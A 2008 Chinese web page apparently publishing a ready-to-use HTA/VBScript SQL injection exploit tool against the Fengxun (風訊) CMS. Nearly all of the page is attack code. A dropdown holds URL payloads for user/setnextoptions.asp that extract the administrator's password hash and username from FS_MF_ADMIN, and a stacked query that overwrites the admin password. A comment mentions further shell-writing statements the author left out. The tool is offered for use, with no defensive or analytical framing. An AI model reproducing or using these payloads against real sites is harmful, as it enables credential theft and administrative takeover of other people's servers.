快捷導(dǎo)航

風(fēng)訊注入exp(hta版)代碼發(fā)布

更新時(shí)間：2008年07月09日 22:58:44 作者：

風(fēng)訊注入exp實(shí)例代碼，hta版的方便使用

<SCRIPT LANGUAGE="VBScript">
Sub Window_onLoad
    window.resizeTo 450,380
    window.moveTo 300, 300
End Sub
</SCRIPT>

<SCRIPT LANGUAGE="VBScript">
Function getHTTPPage(Path)
       t = GetBody(Path)
       getHTTPPage = BytesToBstr(t, "GB2312")
      document.getElementById("url").innerText=getHTTPPage
End Function
</script>
<SCRIPT LANGUAGE="VBScript">
Function GetBody(url)
      On Error Resume Next
      Set Retrieval = CreateObject("Microsoft.XMLHTTP")
      With Retrieval
          .Open "Get", url, False, "", ""
          .Send
           GetBody = .ResponseBody
      End With
      Set Retrieval = Nothing
End Function

Function BytesToBstr(Body, Cset)
      Dim objstream
      Set objstream = CreateObject("adodb.stream")
       objstream.Type = 1
       objstream.Mode = 3
       objstream.Open
       objstream.Write Body
       objstream.Position = 0
       objstream.Type = 2
       objstream.Charset = Cset
       BytesToBstr = objstream.ReadText
       objstream.Close
      Set objstream = Nothing
End Function

</script>

<title>by lcx</title>
<input id="urlcode" NAME="urlcode" size="60" value="http://風(fēng)訊url/user/setnextoptions.asp">
<select id="sql" name="sql" onchange=vbs:getHTTPPage(document.getElementById("urlcode").value+document.getElementById("sql").value)>
<option value="">風(fēng)訊sql版注入，至于其它備份shell的語句懶得寫了</option>
<option value="?EquValue=1&ReqSql=select%201,ADMIN_pass_word,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51%20from%20FS_MF_ADMIN%20where%20id=1--")">暴管理員密碼</option>
<option value="?EquValue=1&ReqSql=select%201,Admin_Name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51%20from%20FS_MF_ADMIN%20where%20id=1--")">暴管理員用戶名</option>
<option value="?EquValue=1&ReqSql=select user;update FS_MF_ADMIN set ADMIN_pass_word='a0b923820dcc509a' where id=1--">更改管理員密碼為1</option>
</select>
<TEXTAREA id="url" NAME="url" ROWS="8" COLS="60"></TEXTAREA>